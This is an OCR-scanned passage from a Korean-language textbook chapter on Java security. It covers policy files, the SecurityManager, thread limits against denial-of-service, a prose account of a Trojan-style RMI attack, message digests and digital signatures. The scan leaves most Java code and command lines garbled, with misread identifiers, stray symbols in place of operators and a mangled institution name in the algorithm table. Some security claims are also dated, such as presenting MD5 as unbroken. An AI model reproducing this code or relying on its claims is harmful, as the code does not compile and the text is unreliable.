FilelnputStream fi = new FilelnputStream ( fileName ) : 
while((tempChar = fi . readO ) != EOF ) 
out . write (( char ) tempChar ) : 
fi . close 0 : 

} catch (IOException e ) { 

System . out . println (" Error : " + e ); 

} 

return out.toStringO : 

} 

public static void writeFile (String fileName , String contents ) { 
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try { 

FileOutputStream fo = new FileOutputStream ( fileName ) : 
DataOutputStream dOut = new DataOutputStream ( fo ); 
dOut . writeChars ( contents ) : 
dOut . close (); 

} catch (IOException e ) { 

System . out . println (" Error : " + e ); 



만일 보통 이 콜라스를 실 행하면 test , policy 라고 부르는 파일 로부터 자료를 읽 고 
화면에 내용을 출력시키려고 시도할것이다. 또한 Text.txt 라고 부르는 파일을 창조하며 
파일에 대한 작은 문장을 작성할것이다. 이것을 실행하기 위하여 디스크에 읽고 쓰는 문 
제가 없는가를 즉시 확인하여야 한다. 그 작업을 검증한후 클라스가 할수 있는일을 제한 
하는 전략파일을 창조할것 이다. SecurityTest . class 파일과 같은 등록부에 text 파일을 창 
조하고 그것을 Test.policy 로서 기 억시 킨다. 파일의 내용은 다음과 같다. 

grant { 

permission java . io . FilePermission 
“ C :\ \ java \ \ ClassLoader \ \ test , policy ” , “ read ” ; 

}； 

( Test.polaey 파일 에서 사용자의 경 로를 준다는데 류의 해 야 한다. 이 것은 
SearrityTest 콜라스를 실행 하고 있는 곳의 등록부를 포함한다.) 

이 전략파일은 오직 test , policy 라고 부르는 이 파일만을 읽기 위하여 JVM 을 허 락 
한다. 기정적으로는 그 어떤 다른 파일을 읽기 위한 접근을 하지 않는다. 보충적으로 다 
른 제 한된 모든 연산들은 소케 트에서의 접속 갈은것을 허용하지 않는다. 이 보안출구를 
검사하자. 보안관리자를 가지고 프로그람을 실행하기 위하여 일부 특별한 지령선인수를 
포함해야 한다. 

java - Djava . seem •比 y 、. manager - Djava . security , policy = test . policy 
SecurityTest 

- D 인수는 속성 값을 설정하는데 리 용된다. 첫 번째 인수는 보안관리자를 움직 인다. 
이 행 이 없 으면 보안관리자는 휴식 상태 로 남아 있는다. 두번째 인수는 전 략파일 에 대 
한 실례 의 test.policy 위 치 에 java . seawity.pkiey 속성 을 설정 한다. 마지 막 인수는 
사용자가 창조하는 SeawityTest 이 다. 프로그람을 실 행 할면 그림 7-7 과 같은것 이 나 
타날것 이 다. 

보고 알수 있는바와 같이 이 프로그람은 이것을 파일 Test.txt 에 쓰자마자 
AccessControl Exception 을 내보낸다. 그것은 이 파일에 대한 허 락이 사용자가 준것과 
같지 않기때문이다. 전략파일을 조금 변경하면 이때 전략파일은 등록부의 전체 내용에 
읽기와 쓰기를 승인한다. 
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grant { 

permission java . io.FilePermission " C ：\ \ java \ \ ClassLoader \ \ 

" write , read "; 

}； 

코드는 즉시 탐색 을 실행 한다. 전략파일은 정 당화되 기 위 하여 일정 한 문법을 지 켜 야 
한다. 줄수 있는 모든 허가들은 《 grant 》 라는 제목을 가지고 블로크에 나타나야 한다. 
펼요한 10가지 표준허가를 블로크안에 포함할수 있다. 

• 모든 허가 

• AWT 허 가 

• 파일허가 

• 망허가 

• 속성허가 

• 반사허가 

• 실행시허가 

• 보안허가 

• Serialne 할수 있는 허가 
• 소케트허가 



그림 7-7. AccessControlException (접근조종례외) 


코드표식정보를 포함하는 선택도 있다. 실례로 Sun Microsystem 에 의해서만 표식 
되는 코드에 대해 부분등록부에 읽기 또는 쓰기호출을 요구한다면 다음과 같이 쓴다. 

grant signedBy “Sun Microsystems " { 

permission java . io . FilePermission “/ temp /*” , “ read , write ” : 

}； 
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그러면 코드가 알맞춤하게 표식되면서 temp 라고 부르는 부분등록부에 코드가 접근 
할수 있다. 누구에 의해 표식되였든 표식되지 않았든 다른 모든 코드는 접근할수 없다. 
사용자는 허가를 받을수 있는 코드를 개별적으로 서술할수 있다. 


grant { 

permission java . io . FilePermission “/ temp /*” ， “ read , write " : 
permission java . io . SocketPermission “204.112.55.142” , “ accept ” , 
signedBy “ IBM ” 

}； 

이 실례에서 모든 코드는 temp 등록부에 읽고 쓸수 있으나 다만 IBM 에 의해 표식된 
코드는 지적된 IP 주소에서만 Socket 접속에 적용되여 할당될수 있다. 선택적으로 포구주 
소뿐아니 라 포구주소의 범 위 까지 도 포함할수 있 다 (자세한것 은 java . net . 
socketPermission 에 서 API 문서 를 보면 된 다). 

다른 모든 접속들에 적용되면 례외를 일으킨다. 여기에는 또한 그 허가가 적용되는 
코드토대 선택 이 있 다. 코드토대 인수는 단어 허 가후에 직 접 나타난다. 

grant CodeBase “java.sun.com/” { 

permission java . io . FilePermission “/ temp /*” , “ read , write ” ; 

}； 

인용괄호안에 있는 CodeBase (코드토대)는 항상 URL 이 다. URL 은 더우기 국부파일 
체계에 적용될수도 있다. 이전 행에서 허가적용은 Sun 의 Java Web 싸이트의 뿌리등록 
부에 위치한 모든 클라스에 적용된다. 이것은 Sun Web 싸이트로부터 생성되는 코드가 
제 한된 허 가를 줄수 있 다는것 을 의 미한다. 만일 에 signedBy 인수도 있 다면 그것 은 
signedBy 인수의 앞뒤 에 서 발생 한다. 

grant CodeBase “ java . sun . com /*” , signedBy “Sun Microsystems ” { 

permission java . io . FilePermission “/ temp /*” ， “ read , write ” : 

}； 


표 7-3._ 코드토대설정에 대한 특수기호값 


특수기호 

실 례 

적용되는 허가 

( none ) 

Java . sun . com / 

등록부에서 모든 클라스들 

* 

Java . sun . com /* 

등록부에서 모든 클라스들과 JAR 들 


Java . sun . com /- 

등록부와 부분등록부들에서 모든 콜라 
스들과 JAR 들 


이 실례에서 URL 이름후에 특별기호 * 를 사용한다는데 주의하시오. 이것은 허가가 
서 류철안에 서 모든 콜라스들과 JAR 들에 적 용될 수 있 다는것 을 의 미한다. 표 7-3 에 보여 
준것 처 럼 허 가를 서 술하여 리용할수 있는 3개 특별기 호가 있 다. 
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전략도구 

Sun 은 전략파일들을 창조하고 편집하기 위한 완성된 도구이지만 매우 단순하다(그 
림 7-8). 그것은 모든 활동에 사용할뿐아니라 기능한 모든 허가가 배렬되였기때문에 아 
주 쓸모 있는것이다. 우리의 전략파일을 열고 여러개의 개성적인 설정을 그에 부가하자. 

전략도구들은 JDK 를 가지고 포함되며 bin 등록부안에 있다. Bin 등록부가 PATH 설 
정 에 있는한 임의의 등록부로부터 그것을 실행할수 있다. Policytool 을 입 력시 키 면 곧 
나타나게 된다. 



File 을 선택 하고 Open 열 람기 에 서 test.policy 파일 을 쉽 게 선택 할수 있 다. 
CodeBase < ALL > 이 라는 행을 선택하고 Edit Policy En 切: y 를 선택한다. 그러면 그림 7- 
9에서와 같은 창문이 나타난다. 
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그림 7-9. 전략도구에서 개별적인 전략입구점들 























자기의 FilePermission 과 함께 자기의 목적대상인 등록부와 파일을 포함시킬수 있다. 
SoketPermission 의 경우에는 IP 주소(또는 포구번호)를 포함시킬수 있다. 동작상태에서 
자기 가 얻 으러는 어떤 허 가를 선택할수 있다. 여 기서 리 용하는것은 개 별적 인 동작들의 
목록이며 마지막항목은 모든 동작들을 포함한다. 사용자는 반점 에 의 하여 분리하면서 요 
구되는것을 고를수 있 다. 

마지 막으로 사용자는 Signed By field 리 용에 적 용할수 있는 이 허 락을 포함한다. 
사용자는 이 원리를 아직 받아 들일수 없기때문에 이것을 비워 놓는다. 창문은 그림 7- 
10과 같다. 

OK 단추를 누른면 입구점들이 추가될것 이 다. 전략도구를 취소하기전에 파일을 보 
관하였는지 확인하여야 한다. test . policy 를 시험해 보면 허가들이 추가되였는가를 확인 
할수 있다. 우에서 볼수 있는것처럼 전략도구는 전략을 정의하는 큰 프로그람이다. 이것 
은 시 간을 기 억 하며 매 허 가에 대 한 항목들을 편 리하게 렬 거 한다. 



그림 7-10. 전략파일을 위한 허가편집 


3) 보안관리자클라스 

우에서 본것처럼 전략파일은 자기의 프로그람이 JVM 에서 실행할수 있게 하는 연산 
들의 형 을 설정하는데 리용할수 있다. 그 리 면에는 이 모든것을 검사하고 여 러 종류의 
동작에 어울리게 응답할수 있는 보안관리자클라스가 있다(보통 연산이 허락되지 않으면 
몇 가지 종류의 례외가 발생한다). 

우리 는 지 령 선인수 ? Djava . seacrity . manager 를 리 용하여 기 정 보안관리 자를 끌어 
낼수 있지만 대신 코드를 리용하여 끌어 낼수도 있다. 

if ( System . getSecurityManager () == null ) { 

System . setSecurityManager (new SecurityManager ()) ； 

} 

사용자는 보안관리자를 확장할수도 있으며 움직임을 창조하기 위한 방법을 재정의 
할수도 있다. 먼저 보안관리자에게 어떤 방법들이 있는가를 보기로 하자. 
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CheckWriteO , checkReadO 와 checkConnect 0 와 같은《검사》를 가지고 시작 
하는 약 30개정도의 방법들이 있다. 보안관리자가 적재되고 어떤 위험한 연산을 진행하 
자마자 검사방법을 요구할것 이 다. 검사방법은 Java 서고에서는 다른 방법에 의해 요구된 
다. 실례로 FileOutputStream 클라스를 실제적으로 파일에 써넣으려고 할 때 다음과 같 
은 코드가 요구된다. 

Security Manager security = System . getSecurityManager () : 

if (security != null ) { 
security . checkFile ( file ) : 

} 

만일 에 이 검 사가 실패 하면 보안례 외 ( SecurityException ) 가 checkFileO 방법 으로 
부터 발생할것 이 다. 보안관리 자를 확장한 RMI 보안관리 자 ( RMISecurityManager ) 도 있 
다. 이 콜라스는 RMI 연산들로부터 요구되는 허 가들을 검사한다. 


제 3 절. Java 의 잠재적약점 


Java 언어에서 실현되는 보안의 형태가 어떤것인가에 관계없이 응용프로그람이나 애 
플레트를 공격하는 방법은 항상 있다. 이러한 공격에 대응한 완전한 보안을 실현하기 위 
하여 설계자는 개발정황설계를 심사숙고하여야 한다. 

개발자로서 사용자는 자기의 응용프로그람에 의해 발생하는 위험으로부터 프로그람 
사용자들을 보호하는데 관심 을 돌려야 한다. 더 우기 외 부공격 으로부터 Java 코드를 보안 
하는데 는 더 큰 관심 을 돌려야 한다. 이 많은 공격 을 다 예 견하기 는 힘 들다. 봉사거부 
( DoS ) 공격은 공동으로 리용할수 있는 봉사에 영향을 줄수 있는 폭 넓은 공격이다. 이것 
은 지어 다른 를퓨터와 련결되지 못하게도 한다. 실례로 911행들은 실지 아무런 위험 없 
는 행들을 묶어 놓는 성가신 호출자들의 봉사를 정기적으로 거부한다. 

공격의 다른 형태는 트로이목마공격인데 여기서 코드부분들이 그 어떤 요구에 의하 
여 체계에 전송되면서 큰 규모의 파괴를 일으킨다. 개발자로서 이러한 공격형태는 응용 
프로그람이 다른 데로부터 이러한 코드를 접수한다면 자기의 응용프로그람에만 영향을 
미칠 수 있 다고 볼수 있 다. RMI 와 같은 새 로운 기 술들을 가지 고 자기 의 봉사기 에 서 코드 
에 있는 의혹을 자체로 풀수 있는 확고한 가능성을 찾을수 있다. 

1. 봉사공격의 감소와 DoS 공격 

제1장에서 설명한바와 같이 2002년 2월부터 수많은 형 태의 높은 수준의 봉사거부 
( DoS ) 공격들이 새롭게 출현하였다. 이 공격들은 분기된 콤퓨터들에서 반복적으로 령 역 
이름봉사기 ( DNS ) 를 거쳐 진행되였다. 이 러한 공격을 막아 내는 보호는 일반적으로 망 
구조에 의해 취급된다. 이러한 공격들에 대처하여 자기자체를 보호하기 위한 시도로서 
보통 망관리 자는 여 벌 ( backup ) DNS 체 계를 리용하여 체 계구조를 설계한다. Java 프로 
그람작성자로서 사용자는 이러한 종류의 공격을 막아 내는 보호능력은 없는데 DoS 공격 
은 사용자의 Java 코드를 반대하여 진행 될수 있 다. 
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만일 Java 로 봉사기를 작성한다면 분기된 DoS 공격 에 필요한것보다 적은 계산자원 
을 가지고 Java 코드를 실행하여 봉사기준위를 낮출수 있다. DNS 에 대 한《핑》소리는 
많은 자원을 리용하지 않으므로 그것이 길게 소리를 낼 때 콤퓨터의 일부 부분만이 작업 
한다. 이 에 대 비하면 Java 를 가지 고 진행하는 망전송은 보다 많은 기 억기를 사용하며 
CPU 전력을 소모한다. 

해커가 그의 지령밑에서 몇개의 체계를 가지고 사용자의 Java 봉사기에 반복적으로 
많은 전송문을 보낸다면 그는 그 처리의 리면에 숨어서 사용자의 봉사기를 충분히 파괴 
할것이다. 모든 기억기가 사용자의 봉사기에서 다 소모되였을 때 일은 끝난다. 

시 간은 봉사기의 기 억량과 처 리기속도와 같은 많은 인자들에 의존하지만 작업은 15 
분내 에 대체로 완료된 다. 

많은 서 고체계들은 서 고책의 자료기지 에 접 근하는데 처 음부터 마지 막까지 Java 애플 
레트를 리용한다. 사용자가 지적된 책에 대한 탐색을 할 때 서고체계는 자료기지를 통하 
여 람색하여야 한다. 이 람색은 봉사기콤퓨터에서 시간과 기억기를 소모하며 특히 많은 
시간을 자원을 리용하는데 소비한다. 그것은 사용자가 개별적콤퓨터를 가지고 작업할수 
있게 하며 열 람기 는 그 시 간동안에 수백 개 의 탐색 을 진행하는 봉사기 와 직 접 대 화한다. 
봉사기쏘프트웨어가 알맞춤하게 설계되지 않았고 애플레트를 설계 할 때 보수성 이 없다면 
봉사기는 자기의 역할을 다 할수 없다. 

이러한 일이 생기지 않게 하는 기본방도는 쏘프트웨어를 어떻게 설계하는가에 달려 
있으므로 의뢰기에 수천개의 전송자료를 상대적으로 빨리 전송하는것은 매우 어렵다. 응 
용프로그람의 친절성을 사용자가 의심하지 않게 하는것도 매우 중요하다. 먼저 그들이 
전송요구를 보내기전에 사용자를 인증시키는것은 매우 좋은 생각이다. 해커가 인증을 하 
지 않고 봉사기에서 지령전송을 시작할수 있다면 그는 체계를 크게 파피시키려고 할것이 
다. 또한 매 사용자가 체계와 접속할수 있는 접속번호는 제한되여 있지만 다른 곳에 있 
는 해커 는 하나의 사용자 ID 를 가지 고 함께 등록된 ID 를 가진 수백개의 를퓨터 를 리용 
할 수 있 다. 

다음 그것은 봉사기 가 마지 막전송과 함께 처 리를 끝낼 때까지 말단의뢰기로부터 전 
송을 할수 없게 한다. 이것은 해커들이 의뢰기쏘프트웨어를 리용하지 못하게 보호만 할 
것 이 다. 만일 그들이 사용자의 봉사기 와 통신하기 위한 쏘프트웨어 를 작성 하고 사용자의 
통신규약을 추출하였다면 이 제한은 무시될것이다. 

다음 전략은 봉사기측으로부터 실현될수 있다. 보통 Java 를 가지고 의뢰기가 봉사기 
와 충돌할 때 새로운 스레드가 전송을 조종하기 위해 창조된다. 이 모든 스레드들이 기억 
기와 처리기를 차지한다. 어떤 사람이 전송하면서 봉사기를 파괴하면 많은 스레드들이 창 
조되며 결국 봉사기가 파괴된다. 이에 대한 대책은 봉사기가 창조할수 있는 스레드의 수 
를 제한하는것이다. 만일 의뢰기가 봉사기에 전송을 시도하였을 때 봉사기에 과부하가 걸 
려 있으면 의뢰기는 봉사기가 위험하다는 통보를 받고 전송을 중지할것이다. 이렇게 하면 
봉사기가 파괴되는것을 피할수 있다. 그러면 코드에서는 이것을 어떻게 실현하는가? 

의뢰기가 작용할 때마다 창조되는 전형적인 ClientThread 객체를 상기해야 한다. 


class ClientThread { 
public ClientThread (Socket client ) { 
// Constructor code here 


} 
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이것은 의뢰기스레드가 어떻게 표준적으로 창조되는가 하는것이다. 보는바와 같이 
이 방법을 리용하여 창조된 의뢰기스레드의 수를 제한하지 못한다. 

이것을 변경하기 위 하여 우리는《스레드못 (Thread Pooling )》 이라는것을 창조한 
다. 스레드못은 창조될수 있는 스레드의 수를 제한할 때 리용한다. 이것으로써 사용자는 
리용하려는 스레드의 제한된 못를 실제적으로 창조한다. 이것을 수행하기 위해서 그것을 
국부적으로 만듦으로써 공동구축자를 줄일것이다. 이것은 구축자가 제한된 량의 스레드 
실체를 창조하기 위하여 리용될수 없다는것을 말해 준다. 대신 객체의 실체를 얻기 위하 
여 getlnstanceO 라고 부르는 정적방법을 리용한다. 이 방법은 창조될수 있는 합법적인 
실체의 수를 제한한다. 


class ClientThread extends Thread { 
private static int totalClients = 0； 
public static ClientThread getlnstance (Socket client ) { 

System . gc (); 
if (totalClients ♦ 100) { 

++totalClients ； 

return new ClientThread ( client ) : 

} 

return null ； 

} 

private ClientThread (Socket client ) { 

// Constructor code here 

} 

public finalize () { 

一 totalClients ； 

} 

} 

우에서 본바와 같이 구축자방법은 private 로 만들어 지며 따라서 이 클라스만이 구 
축자를 호출할수 있다 .private 정적옹근수는 이 클라스에 대해 실체의 번호자리를 보관한 
다.물론 매번 파괴된 콜라스를 추적하여야 한다. 이것은 봉사기가 창조되는 스레드의 량 
을 제 한하는데 서 대 단히 효과적 이 다. 

이것들은 public 로 열려 진 응용프로그람을 Java 로 설계할 때 성원에 대 한 몇개의 
열쇠지적자를 가지고 있다. 언제나 그러한것처럼 여기에는 사용자의 보안견해를 고려하 
여 설계되여 있다. 해커가 사용자의 날자를 파피시키려고 무엇을 시도하는가를 알아 내 
려고 할 때 이것은 좋은 방법을 줄수 있다. 중요한것은 사용자가 응용프로그람설계를 진 
행할 때 자기의 보안 설계를 완성시키는데 있다. 침해를 당한후에 보안을 실현하기 위하 
여 노력하는것은 침해를 하는것보다 더 어렵다. 

2. 제3부류의 트로이목마공격 

트로이목마공격에서 열쇠는 목적콤퓨터에 코드를 배치하고 그것을 실행하게 하는것 
이다.이것은 보통 사실상 그가 일부 기능을 수행하면서 목표기계안에 자기의 코드를 삽 
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입 하는것 에 의 하여 이루어 지는데 그때 그들의 목적은 사용자의 기계 안에서 못된 일을 
하려 는데 있다. 

Java 세계에서 보통 코드부가 애플레트에 도착하면 사용자는 이와 관계되는 손상을 
막으려 고 하기때문에 sandbox 는 배 치된 곳에 대 한 위험한 조작을 할수 없다. 더우기 
우에서 먼저 론의한것처럼 RMI 와 직렬화할수 있는 객체로부터 위협을 받고 있다. 이러 
한 기술을 가지고 Java 봉사프로그람안에 위험한 클라스를 올리적재 할수 있다. 실례로 
그림 7-11 에서와 같이 setlnventory ( item ) 와 같은 방법을 가지고 RMI 를 리용하는 봉사 
기가 있다고 하자. 



손상과 방위... 

원격 방법 주문 (Remote Method Invocation： RMI) 

RMI 는 먼 곳에 있는 콤퓨터에서 실행하는 Java 로부터 호출되는 객체에 방법을 
허 가하는 기 술이 다. 례하면 어 떤 나라의 봉사기 에 실례 에서 본 객체 가 있다고 하 
자. RMI 를 가지고 다른 나라에서 그 방법을 호출하면 그 방법은 객체가 있는 나라 
의 봉사기에서 실행된다. 이것은 Java 에서만 고유한 CORBA 와 매우 류사하다. 인 
수과 함께 방법도 기 억해 야 한다. 


setName (String name ) 

원격의뢰기는 봉사기에서 이 방법을 호출하며 name 로서 String 객체를 통과한 
다. RMI 는 망을 통하여 봉사기계에서 실제적인 객체를 보내는데 객체직렬화를 리 
용한다. 여 기서 방법 이 실행된다. 이것은 RMI 보안관리자를 위한 전략이 알맞춤하 
게 실행는것을 제외하고 보안구멍에 유도된다. 실례로 인수으로서 통과되여 얻어 
진 객체는 나쁜 코드를 포함할수 있다. 
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클라스 Product 에 속하는 항들을 살더 보자. Product 에서 getPriceO 라고 부르는 봉 
사기 에 의 해 리 용되 는 방법 이 있 다고 하자. 그는 방법 getPriceO 을 재 정 의 하는 해 커 라 
고 부르는 Product 의 부분콜라스를 창조할수 있 다. 이 코드에 서 그것 을 읽 기 파일 이라고 
생각할수 있으며 그들의 콤퓨터에 거꾸로 그것을 전송시킬수 있다. 봉사기가 getPriceO 
방법를 호출한후에 그것은 그의 침입코드를 실행하기 시작한다. 

이것을 막아 내는 가장 좋은 보호는 RMI 보안관리자와 전략파일을 리용하는것이다. 
Java 는 실제 적 으로 java . rmi 꾸레 미 안에 RMI 보안관리 자를 포함한다.이 특별한 보안관리 
자를 가지고 사용자는 21개의 모든것 또는 일부 위험한 조작들을 RMI 호출안에서만 허용 
하지 않는다. 


제 4 절. 기능적이면서 안전한 Java 애플레트의 코드화 


단일 pc 에서만 실행하는 프로그람들은 크게 보안을 요구하지 않는다. 실례로 단어 
처리기는 실지로 그것이 들어 있는 디스크구동기에만 남아 있기때문에 타자하는 파일을 
누가 감시하는가에 대하여 걱정할 필요가 없다.응용프로그람이 인터네트상에서 또는 망 
우에서 서로 호상작용하기 시작하면서 보안문제가 심중히 제기된다. 자료는 인터네트상 
에서 쉽게 가로챌수 있다. 해커들은 그가 누구든 그렇게 해보려고 한다. 그들은 구축된 
코드를 조심히 얻을수 있고 그것을 다시 역콤파일할수 있으며 또 변경시키기도 하고 사 
용자의 봉사기에 접속할수 있으며 지어 사용자들의 생각을 추측할수도 있다. 그렇기때문 
에 사용자의 응용프로그람이나 애플레트를 보호하기 위한 적당한 보안대책을 세우는것 이 
중요하다. 

이 절은 Java 코드를 가지 고 어떻게 이 것을 달성하겠는가를 설명 한다.인터 네트상에 
서 자료를 전송하는데서 제기되는 기본난점의 하나는 누군가 통보를 가로채여 내용을 변 
경시켜 다시 목적지에 보내고 있는것이다. Java 보안 API 는 통보문발취 (message 
digest ) 를 리용하여 통보문의 정확성을 확인한다. 

또한 인 터네 트를 통하여 사용자가 전송한 곳으로부터 오는 통보문를 100% 믿 을수 
는 없다.그것 은 누군가가 다른 사람의 이 름으로 전자우편을 쉽 게 창조할수 있기 때 문이 
다. 송신자가 정확한가를 확인하기 위하여 수자서명을 리용할수 있다.이것은 송신자의 
ID 검사와 같은것에 응답만 하는것이 아니라 그것이 통로우에셔 변경되지 않았는가를 
확인하기 위한 통보문을 검사할수 있게 한다. 이 와 갈은 개 념은 JAR 표식 에도 적 용할 
수 있 다. 

인증은 또 다른 단계의 수자서명개념이다. 만일 전체가 정당한 수자서명을 가진다면 
PC 에서 그것들의 코드를 정확하게 실행할수 있겠가를 어떻게 확인하겠는가? 이 경우에 
우리 는 신용회 사들로부터 인증을 받을수 있 다. 신용회 사는 명 백하게 당신에 게 대 답한다. 
《예，이 사람은 검 열에서 합격 입 니 다.》이 기계 적 인 Java 는 수자식증명서 와 자주 거 
래 한다. 

마지 막에 자료은페에서 Java 암호화를 어떻게 리용하는가를 설명한다. 암호화하면 
그것을 열수 있는 꼭 맞는 열쇠가 없이는 사용자의 자료를 읽어 낼수 없다. 여기서는 이 
러한 방법들이 실지로 어떻게 안전한가를 설명하며 자료를 암호화하는 여러가지 방법을 
설명 한다. 
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1. 통보문발취 

통보문이 인터네트상에서 전송될 때 사용자는 만일 로정에 따라 그것이 변경되지 않 
았다는것이 증명되면 마음을 놓게 된다. 다 알고 있는바와 같이 일부 자료는 내려 가면 
서 2진파일에 있는 자료의 바이트까지 오염되지만 수신자는 그것들이 완전히 틀렸다고 
지 적하지 못하고 오염 된 자료를 그대 로 받고 있 다. 

이러한 난점을 극복하기 위하여 《통보문발취》가 제안되였다. 통보문발취는 본질적 
으로 통보나 2진파일에 있는 임의의 바이트기호렬로부터 생성될수 있는 수자지문이 
다. Java 는 MessageDigest 라고 부르는 콜라스를 리용한다. SHA -1 알고리듬을 리용하여 
이 콜라스는 20 byte 로 구성 되 는 유일 한 지 문을 생 성할수 있 다(그림 7-12). 통보문들을 
보내면서 매 통보문에 지문을 달아 주자. 통보문이 변하면 그것을 어떻게 검사에 리용할 
수 있는가? 통보문에 대하여 MessageDigest 알고리듬을 적용하여 전송한것과 같은 지 
문이 생성되는가를 볼수 있다. 지문이 같지 않다면 전송된 통보가 초기통보문과 다르다 
는것을 의미한다.지문을 통보문에서 따로 분리하여 매 통보에 해당한 지문들을 검사할수 
있다. 그러면 이 도식은 보안을 어떻게 하는가? 



통보문의 번 호는 무한이지 만 지 문의 번 호는 발생 된 20 byte 토서 유한일 것 이 다. 
20 byte 는 160 bit ( lbyte =8 bit ) 이고 매 비트는 2 개 상태를 가질 수 (참 또는 거짓) 있기 
때 문에 전체 지 문 개 수는 2 16() 개 이다. 

(1，461，501，600,000,000,000,000,000,000,000,000,000,000,000,000, 000) 

지문의 번호는 유일하지만 일부 통보들은 갈은 지문번호를 가질수 있다. 그렇지만 두개 
의 통보문이 갈은 지문을 가지는 경우는 극히 드물기때문에 실제적인 일에서는 크게 걱 
정할것은 없다. 보다 중요한것 은 그것 이 통보문를 변경할 능력 이 없으며 같은 지 문은 거 
의 만들지 않는것 이 다. 만일 에 통보문에 서 한 바이 트를 변경한다면 지 문은 초기 지문과 
완전히 차이난다. 

실제 로 Java SDK 에서 있는 3개의 알고리듬들은 지문을 생성하는데 리용될수 있다 
(표 7-4). 


211 



이 알고리듬들은 지문으로서 리용하는 하쉬함수를 생성한다.여기에는 SHA -1 보다 
보안능력 이 약한 MD 5 알고리듬에서 찾은 불규칙성 이 있다. 그러나 MD 5 는 아직 누구도 
해 석하지 못한 비 가역 적인것 이 다. 통보문으로부터 지 문을 분리 하자. MessageDigest 클 
라스는 실제적으로는 추상클라스이지만 아직까지는 getlnstanceO 방법을 리용하여 그의 
실체 를 얻 을수 있다. 이 방법 으로 리 용하려 는 알고리 듬을 지 적하는 기 호렬을 포함시 킨다. 


표 7-4. Java 에서 통보문발취 에 리용할수 있는 3가지 알고리듬 


알고리듬 

비트수 

제 줄 자 

비 률 

MD 2 

128 

MIT 에서 로날드 리버스트 

높다 

MD 5 

128 

MIT 에서 로날드 리버스트 

더 높다 

SHA -1 

160 

Standard 技 technology 의 
민족대학 

가장 높다 


프로그람이 MessageDigest 의 실체 를 가진후에 곧 바이 트나 바이 트의 배렬 로서 통 
보를 읽기 시 작한다. 통보의 모든 바이트를 다 읽으면 알고리듬을 실행하는 digestO 방 
법을 호출하여 지문을 돌려 준다. 

import java , security . * : 

public class Fingerprint { 

public static void main (String [] args ) { 

MessageDigest md = null ； 

String message = “ ” ; 
for (int i =0 : i < args . length ； i ++) 

message = message +■ .’“ ” + args [ i ] : 
try { 

md = MessageDigest . getlnstance ( “ SHA -1” ); 

} catch (NoSuchAlgorithmException ae ) {} 
md . update ( message . getBytes 0); 
byt # ;[] fingerprint = md . digestO ; 

System . out . print ( “ Fingerprint : ” ); 
for (int j =0 : j<fingerprint . length : j ++) 

System . out . print (( fingerprint [ j ] + 128) + “ ” 



이 프로그람은 지령선인수를 리용하여 문장을 접수하고 단어들사이에 자동적으로 공 
백을 삽입한다. 다음 통보문발취를 하고 통보문에서 받은 바이트를 가지고 그것을 갱 신 
한다. 이것은 digestO 방법을 호출하며 화면에 결과지문을 출력시킨다.이 프로그람의 실 
행결과에서 보는것처럼 통보문에서의 자그마한 변화도 그것과 완전히 차이 나는 지문을 
돌려 준다(그림 7-13). 


212 





이 검증방법의 한가지 약점은 지문을 통보문으로부터 분리하여 보내 야 한다는것 이 
다. SHA -1, MD 2, MD 5 에 대 한 하쉬알고리 듬들은 모두 공동으로 사용할수 있으며 따라 
서 누군가가 사용자의 통보와 지문을 가로 챈다면 통보문을 변경하고 새로운 지문을 만 
들며 이것들을 모두 사용자에게 전송한다. 사용자에게는 통보가 마치 변경되지 않은것처 
럼 나타난다.본질상 이 방법의 약점은 사용자가 통보를 보낸 사람을 알수 없다는데 있다. 

이것은 비트는 어쩔수 없기때문이라고는 하지만 보안측정은 실제적으로 빈틈없이 진 
행되고 있다. 이것을 도와 주는것 이 바로 수자서명 이다. 



그림 7-13 .수자지문을 생성하는데 통보문발취를 리용 


2. 수자서명 

Java 는 수자서명이 통보 또는 코드와 함께 나타날수 있게 하는 클라스들을 
java . security 꾸레미에 포함하고 있다.수자서명들은 통보가 전송된 때로부터 변경되였 
는가 아닌가를 지적할뿐아니라 그것들이 송신자의 일정한 신분을 가지고 리용되게 하는 
통보문발취 우에 서 의 한 단계 이 다. 아마 사용자들은 수자서 명 들이 이 러 한 우점 들을 제 공하 
는데 왜 첫 공정에서 통보문발취 라는것을 하는가고 이상하게 생각할수 있다. 수자서명을 
가지고 진행하는 교환은 그것 이 전송하여야 할 자료의 량을 증대시키고 사용자를 가리우 
는 어려운 처리를 하는것과 같은 많은 단계를 걸쳐야 한다. 이에 대처하여 통보문발취는 
사용자가 그것들이 같은가를 확인하기 위하여 2개의 지문을 비교하는 프로그람을 쉽게 
작성할수 있게 한다. 

수자서명은《공개 열쇠암호화》라고 부르는 개념을 리용한다. 이 처 리 에는 비공개 열 
쇠 와 공개 열쇠 라고 하는 두개 의 열쇠 가 있다 ( 그림 7-14) . 이 름이 암시 하는것 처 럼 비 공 
개열쇠는 혼자만 알고 그 외의 누구에게도 보이지 않는다. 공개열쇠는 그것을 요구하는 
모든 사람이 다 리용할수 있으며 Web 싸이트에서 공개할수 있고 또 다른 사람들에게 전 
송하거나 믿음직한 제3부류집 단 ( VeriSign 과 같은)에 보낼수 있다. 통보의 창조자는 비 
공개열쇠를 리용한다.배 치된 공개열쇠는 보안시험 을 진행 하려는 개 발자에게 의존한다. 
비공개열쇠는 통보문창조자가 러용한다. 알고리듬 ( java . security 꾸레미에서 제공된)과 
비공개열쇠를 리용하여 사용자는 서명을 창조할수 있다.이 서명은 그것이 창조된 통보문 
에 유일하다.통보문과 서명은 다른 사람들에게 전송된다. 그들은 통보문를 받으면 서명 
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을 확인할수 있다.알고리듬은 통보문과 서명, 공개열쇠를 리용하여 실행한다. 알고리듬 
은 공개열쇠가 서명과 일치하는가를 확인할수 있다.반드시 명심해야 할것은 오직 비공개 
열쇠만이 서명을 창조할수 있다는것이다.공개열쇠는 서명을 창조하는데 리용될수 없다 
(그렇지 않으면 전체 보안모형이 정확하게 이루어 지지 않는다). 또한 비공개열쇠는 공 
개열쇠로 부터 유도되지 않는다. 

이 방법의 우점은 그것 이 인터네트와 같이 보안이 담보되지 않는 전송방식우에서도 
전송을 보안할수 있다는것이다. 알고리듬의 리면에 있는 수학적 리론이 체계에 어떻게 
리용되였는가를 리해하지 못해도 통보문이 정확히 리용되였다면 사용자는 100%보안되였 
다고 믿을수 있다. 




그림 7-14. 통보를 확인하기 위해 수자서명을 리용 


실례 로 본국으로부터 통보를 받는 의뢰기프로그람을 설계 한다고 하자. 프로그람에 
대한 설계명세는 통보문이 HQ 로부터 말단에로 가는 경로에서 통보문이 가로채이거나 변 
